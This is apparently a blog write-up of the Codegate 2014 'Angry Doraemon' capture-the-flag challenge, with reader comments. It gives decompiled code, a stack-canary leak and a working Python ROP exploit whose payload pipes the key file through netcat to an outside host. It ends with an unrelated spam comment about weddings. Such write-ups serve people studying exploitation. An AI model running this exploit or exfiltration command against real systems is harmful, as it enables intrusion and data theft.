Codegate 2014 Quals – Angry Doraemon (pwn 250)

□ description
==========================================
OS : Ubuntu 13.10 x86
IP : 58.229.183.18 / TCP 8888

http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9
==========================================

□ number of solvers : 57
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 06:16)
2 : ppp (02/23 06:22)
3 : stratumauhuur (02/23 06:28)

Binary

This challenge was rather easy: simple buffer overflow and existance of execl gadget. Here’s vulnerable function:

int __cdecl attack_4(int fd)
{
  int v1; // eax@4
  ssize_t n; // ST1C_4@4
  int v4; // [sp+18h] [bp-20h]@1
  int buf; // [sp+22h] [bp-16h]@1
  int v6; // [sp+26h] [bp-12h]@1
  __int16 v7; // [sp+2Ah] [bp-Eh]@1
  int v8; // [sp+2Ch] [bp-Ch]@1
 
  v8 = *MK_FP(__GS__, 20);
  buf = 0;
  v6 = 0;
  v7 = 0;
  v4 = open("mouse.txt", 0);
  if ( v4 < 0 )
    sub_804889D("open() error");
  write(fd, "Are you sure? (y/n) ", 0x14u);
  read(fd, &buf, 0x6Eu);
  if ( (_BYTE)buf == 'y' )
  {
    v1 = sprintf(s, "You choose '%s'!\n", &buf);
    write(fd, s, v1);
    n = read(v4, s, 0x1388u);
    write(fd, s, n);
    write(fd, "\n\"MOUSE!!!!!!!!! (HP - 25)\"\n", 0x1Cu);
    hp -= 25;
  }
  return *MK_FP(__GS__, 20) ^ v8;
}

read(fd, &buf, 0x6Eu); is overflow.

First, we need to leak stack canary. It’s easy with with overflowing only 11 chars:

Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>4
Are you sure? (y/n) y234567890
You choose 'y234567890
�Äا����c�觰�Œ'!

Then we can make simple ROP to execute arbitrary command. Exploit:

from struct import pack
from sock import Sock
 
read_plt = 0x08048620
execl_plt = 0x08048710
buf = 0x0804B0A0
pop3ret = 0x08048CD8
binsh = 0x0804970D
 
rop = [
    read_plt,
    pop3ret,
    4,
    buf,
    256,
 
    execl_plt,
    0x41414141,
    binsh,
    binsh,
    buf,  # -c
    buf + 4,
    0
]
 
pay = "".join(map(lambda d: pack("<I", d), rop))
 
f = Sock("58.229.183.18:8888", timeout=30)
f.read_until("Give up")
f.send("4\n")
f.read_until(") ")
f.send("y234567890\n")
token = f.read_until_re(r"y234567890\n(...)").group(1)
token = "\x00" + token
f.close()
print "Got canary:", token.encode("hex")
 
f = Sock("58.229.183.18:8888", timeout=30)
f.read_until("Give up")
f.send("4\n")
f.read_until(") ")
f.send("A" * (0x16 - 0xc) + token + "A" * 12 + pay)
 
argv = "-c\x00\x00"
argv += "cat key | nc 72.343.31.13 3123\x00"
 
f.send(argv)
$ py pwn.py 
Got canary: 008bc384
# while true; do nc -nlvp 3123; done
listening on [any] 3123 ...
connect to [72.343.31.13] from (UNKNOWN) [58.229.183.18] 33585
CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

9 comments

Skip to comment form

    • Josh on February 24, 2014 at 12:46
    • Reply

    Good writeup. Could you explain again how you leak the stack canary?

    1. We receive sprintf(s, “You choose ‘%s’!\n”, &buf);
      So it will print everything until null byte.

      int buf; // [sp+22h] [bp-16h]@1
      int v8; // [sp+2Ch] [bp-Ch]@1 – canary

      If you send 0x16 – 0xc = 10 bytes, you will receive buf + canary + some stack stuff. But first byte of canary is null-byte, so it’s better to overflow it too, to see the other bytes.

      So we send 11 bytes (10 bytes + “\n”), thus we overwrite first null byte of stack canary and sprintf will send the other bytes of canary back to us.

    • kadircet on February 25, 2014 at 00:02
    • Reply

    You are really good at it. There is one thing i am wondering how are you getting the c code from the assembly is there a known debugger that can produce such code or you have written some tool or doing it by hand?

      • kadircet on February 25, 2014 at 00:24
      • Reply

      And btw shouldnt read_plt be between 256 and execl_plt to adjust the registers and then return to read i dont have access to assembly code right know it is just may instincts :D

        • kadircet on February 25, 2014 at 01:51
        • Reply

        i read the assembly and i see why it should be at top nvm the question :D

    • binerdd on February 25, 2014 at 16:00
    • Reply

    Can you explain why you did not exploited the special attack option vector in the option 5?

    Because it receives 4 bytes and changes the EIP to that.

    I thought I could do something with this fact, but may be because it checks whether 4th position in the received bytes must not be 8?

    1. ROP is more powerful than single jump. You could jump to execl(“/bin/sh”) code but stdin/stdout were not redirected, so it’s not easy to say what to do then.

        • binerdd on February 26, 2014 at 07:58
        • Reply

        You are right. Thanks for the reply

  1. most up-to-date addition towards family.
    9.Young partners and old can like becoming extra involved.Many young families can relax on the outside sun rays and feel the wind blowing around them as they share with your union.An out-of-doors wedding will give the opportunity get your household involved in most up-to-date addition towards family.

    9.Young partners and old can like becoming extra involved.Many young families can relax on the outside sun rays and feel the wind blowing around them as they share with your union.An out-of-doors wedding will give the opportunity get your household involved in the ceremony.From helping children out of laps if tired towards being more challenging because everyone mingled around a pleasant area until the proceedings start.Every one have the opportunity to lend some sort of hand obtaining elderly placed or maintaining a picky child.

    10.You provide a different wedding that your family and friends will remember for some, many years.Because a person’s wedding aren’t going to be like anybody elses or the kind you whilst your guests have been completely to time after time.Your wedding will likely be remembered plus spoken with fondly for for future assignments.

Leave a Reply

Your email address will not be published.